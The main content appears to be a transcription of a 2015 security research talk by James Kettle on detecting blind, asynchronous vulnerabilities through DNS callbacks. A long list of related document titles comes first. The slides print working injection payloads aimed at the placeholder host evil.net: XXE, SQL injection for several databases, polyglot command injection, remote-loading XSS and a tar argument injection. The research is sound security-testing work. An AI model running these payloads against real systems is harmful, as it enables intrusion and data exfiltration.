HUNTING ASYNCHRONOUS VULNERABILITIES. James Kettle



Similar documents
ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Webapps Vulnerability Report

VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso

Offensive Security. Advanced Web Attacks and Exploitation. Mati Aharoni Devon Kearns. v. 1.0

Penetration Testing with Kali Linux

Cyber Essentials. Test Specification

Penetration Testing: Advanced Oracle Exploitation Page 1

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Pwning Intranets with HTML5

WebCruiser Web Vulnerability Scanner User Guide

How We're Getting Creamed

Advanced SQL Injection in Oracle databases. Esteban Martínez Fayó

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Web Application Attacks And WAF Evasion

Advanced Web Security, Lab

Penetration Test Report

Learn Ethical Hacking, Become a Pentester

Best Practices for Oracle Databases Hardening Oracle /

Security Research Advisory IBM inotes 9 Active Content Filtering Bypass

Web Application Security Payloads. Andrés Riancho Director of Web Security OWASP AppSec USA Minneapolis

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

NEW AND IMPROVED: HACKING ORACLE FROM WEB. Sumit sid Siddharth 7Safe Limited UK

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

CERTIFIED MULESOFT DEVELOPER EXAM. Preparation Guide

Sophos UTM Web Application Firewall for Microsoft Exchange connectivity

SQL injection: Not only AND 1=1. The OWASP Foundation. Bernardo Damele A. G. Penetration Tester Portcullis Computer Security Ltd

Penetration Testing Report Client: Business Solutions June 15 th 2015

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Avactis PHP Shopping Cart ( Full Disclosure

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

An Introduction to SQL Injection Attacks for Oracle Developers. January 2004 INTEGRIGY. Mission Critical Applications Mission Critical Security

Revisiting SQL Injection Will we ever get it right? Michael Sutton, Security Evangelist

Improved Penetration Testing of Web Apps and Databases with MatriXay

Pre-authentication XXE vulnerability in the Services Drupal module

Turning your managed Anti-Virus

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

THREAT VISIBILITY & VULNERABILITY ASSESSMENT

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

How I hacked PacketStorm ( )

Release Notes for Epilog for Windows Release Notes for Epilog for Windows v1.7/v1.8

WebCruiser Web Vulnerability Scanner User Guide

Web Application Security

EECS 398 Project 2: Classic Web Vulnerabilities

MatriXay Database Vulnerability Scanner V3.0

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

Security and Control Issues within Relational Databases

Advanced SQL Injection

SQL Injection for newbie

Exploiting Fundamental Weaknesses in Command and Control (C&C) Panels

SECURING APACHE : THE BASICS - III

How To Fix A Web Application Security Vulnerability

Hardened Plone. Making Your Plone Site Even More Secure. Presented by: Nathan Van Gheem

WHITE PAPER. An Introduction to SQL Injection Attacks for Oracle Developers

How to scan/exploit a ssl based webserver. by xxradar. mailto:xxradar@radarhack.com. Version 1.

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

The Security Development Life Cycle

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Cyber Essentials PLUS. Common Test Specification

Sandy. The Malicious Exploit Analysis. Static Analysis and Dynamic exploit analysis. Garage4Hackers

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Web-Application Security

Advanced Security for Systems Engineering VO 01: Web Application Security

Real World Web Service Testing For Web Hackers

Penetration Testing. NTS330 Unit 1 Penetration V1.0. February 20, Juan Ortega. Juan Ortega, juaorteg@uat.edu. 1 Juan Ortega, juaorteg@uat.

SQL INJECTION IN MYSQL

Honeypot that can bite: Reverse penetration

Check list for web developers

Web Application Security

Web Application Guidelines

AmbrosiaMQ-MuleSource ESB Integration

SQL Injection. By Artem Kazanstev, ITSO and Alex Beutel, Student

Virtually Pwned Pentesting VMware. Claudio

Automated Penetration Testing with the Metasploit Framework. NEO Information Security Forum March 19, 2008

ANNEXURE-1 TO THE TENDER ENQUIRY NO.: DPS/AMPU/MIC/1896. Network Security Software Nessus- Technical Details

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

DiskPulse DISK CHANGE MONITOR

Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations OWASP. The OWASP Foundation. Marco Morana & Scott Nusbaum

Application security testing: Protecting your application and data

RIA SECURITY TECHNOLOGY


Threat Advisory: Accellion File Transfer Appliance Vulnerability

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

We protect you applications! No, you don t. Digicomp Hacking Day 2013 May 16 th 2013

Vulnerability Assessment and Penetration Testing

Lab - Observing DNS Resolution

Hacking Database for Owning your Data

NNT CIS Microsoft SQL Server 2008R2 Database Engine Level 1 Benchmark Report 0514a

Web application security

Using Nessus In Web Application Vulnerability Assessments

McAfee Certified Assessment Specialist Network

Basic & Advanced Administration for Citrix NetScaler 9.2

Active Directory - User, group, and computer account management in active directory on a domain controller. - User and group access and permissions.

Penetration Testing Workshop

Lecture 15 - Web Security

Transcription:

HUNTING ASYNCHRONOUS VULNERABILITIES James Kettle

THE CLASSICAL CALLBACK From: no- reply@redacted.com To: James Kettle Subject: Order: 103092185 Hi test, Thank you for your recent order Description Quantity Price VAT Total Leather Jacket 1 824.33 164.87 989.20

OVERVIEW The asynchronous problem Callback oriented hacking Direct - XML/SQL Chained - SQL Destructive - SQL Polyglot - OS/XSS Interactive Hazards Q&A

THE ASYNCHRONOUS PROBLEM Many asynchronous vulnerabilities are invisible Visible errors Result output Time side- channel

THE ASYNCHRONOUS PROBLEM Blind + background thread Nightly cronjob Blind + event- triggered Second order SQLi, command injection Blind XSS Blind + no time delay Blind XXE, XPath

THE ASYNCHRONOUS SOLUTION Callbacks! Why DNS? Rarely filtered outbound Underpins most network protocols

PAYLOAD DEVELOPMENT

THE INDOMITABLE PAYLOAD Callback exploits fail hard Quality of Payload is crucial Environment- insensitive Multi context (aka polyglot ) Filter- resistant Simple.

SMTP HEADER INJECTION foo%0abcc: hacker@evil.net Website Attacker User

SMTP HEADER INJECTION %0AReply- To: hacker@evil.net%0a%0a<zip_bomb> Website Attacker User

<?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?> <!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [ <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a"> <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a"> %remote; ]> <root> <foo>&xxe;</foo> <x xmlns:xi="http://www.w3.org/2001/xinclude"><xi:include href="http://xi.evil.net/" ></x> <y xmlns=http://a.b/ xmlns:xsi="http://www.w3.org/2001/xmlschema-instance" xsi:schemalocation="http://a.b/ http://schemalocation.evil.net/a.xsd">a</y> </root> PortSwigger Ltd 2015 All Rights Reserved

SQLi: POSTGRES copy (select '') to program 'nslookup evil.net'

SQLi: SQLITE3 ;attach database '//evil.net/z' as 'z'-- - Windows only Requires batched queries Can also be used to create files (SELECT load_extension('//foo')) Windows only Frequently disabled By @0x7674 PortSwigger Ltd 2015 All Rights Reserved

SQLi: MSSQL SELECT * FROM openrowset('sqlncli', 'evil.net';'a', 'select 1 from dual'); Requires 'ad hoc distributed queries' EXEC master.dbo.xp_fileexist '\\\\evil.net\\foo' Requires sysadmin privs BULK INSERT mytable FROM '\\\\evil.net$file'; Requires bulk insert privs EXEC master.dbo.xp_dirtree '\\\\evil.net\\foo' Checks privileges after DNS lookup

SQLi: ORACLE UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_INADDR, UTL_FILE Require assorted privileges SELECT extractvalue(xmltype('<?xml version="1.0" encoding="utf- 8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evil.net/"> %remote;]>'),'/l') From https://bog.netspi.com/advisory- xxe- injection- oracle- database- cve- 2014-6577/ No privileges required! Patched eventually

SQLi: MySQL LOAD_FILE('\\\\evil.net\\foo') Windows only SELECT INTO OUTFILE '\\\\evil.net\foo' Windows only PortSwigger Ltd 2015 All Rights Reserved

WRITE- BASED CALLBACKS Drop web shell Requires path Risky Maildrop Microsoft Outlook only Printer spool Requires employee credulity Requires root Bypasses outbound network filtering Config files?

CONFIG File Name /etc/my.cnf /etc/mysql/my.cnf SYSCONFDIR/my.cnf $MYSQL_HOME/my.cnf ~/.my.cnf Command- Line Format --bind-address=addr Permitted Values Type string Default 0.0.0.0 If addr is a host name, the server resolves the name to an IPv4 address and binds to that address. PortSwigger Ltd 2015 All Rights Reserved

ASYNCHRONOUS COMMAND INJECTION Bash: $ command arg1 input arg3 $ command arg1 'input' arg3 $ command arg1 "input" arg3 Windows: >command arg1 input arg3 >command arg1 "input" arg3 PortSwigger Ltd 2015 All Rights Reserved

POLYGLOT COMMAND INJECTION PortSwigger Ltd 2015 All Rights Reserved

POLYGLOT COMMAND INJECTION PortSwigger Ltd 2015 All Rights Reserved

POLYGLOT COMMAND INJECTION PortSwigger Ltd 2015 All Rights Reserved

POLYGLOT COMMAND INJECTION PortSwigger Ltd 2015 All Rights Reserved

&nslookup evil.net&'\"`0&nslookup evil.net&`' bash : &nslookup evil.net&'\"`0&nslookup evil.net&`' bash ": &nslookup evil.net&'\"`0&nslookup evil.net&`' bash ': &nslookup evil.net&'\"`0&nslookup evil.net&`' win : &nslookup evil.net&'\"`0&nslookup evil.net&`' win ": &nslookup evil.net&'\"`0&nslookup evil.net&`' Key: ignored context- breakoutdud- statement injected- command ignored

POLYGLOT XSS One vector to rule them all by @garethheyes javascript:/*-- >]]>%>?></script></title></textarea></noscript></style></xmp>"> [img=1,name=/alert(1)/.source]<img - /style=a:expression&#40&#47&#42'/- /*&#39,/**/eval(name)/*%2A///*///);width:100%;height:100%;p osition:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>" Problems: Length Fragile

POLYGLOT XSS </script><svg/onload= '+/"/+/onmouseover=1/ +(s=document.createelement(/script/.source), s.stack=error().stack, s.src=(/,/+/evil.net/).slice(2), document.documentelement.appendchild(s))//'>

BLIND XSS Sleepy Puppy Allows custom script+payload injection Webserver in dockercontainer https://github.com/netflix/sleepy- puppy PortSwigger Ltd 2015 All Rights Reserved

PROOF OF EXPLOIT Scenario: you can upload [anything].jpg Hypothesis: images archived with 'tar [options] *' The exploit: - - use- compress- program=nslookup evil.net - domain=a.jpg Variants exist for targeting zip, rsync, etc PortSwigger Ltd 2015 All Rights Reserved

---LIVE DEMO--- PortSwigger Ltd 2015 All Rights Reserved

HAZARDS Friendly fire URL grepping Scope

TAKE- AWAYS Asynchronous exploits fail silently Quality of Payload is crucial Invisible unhackable @albinowax james.kettle@portswigger.net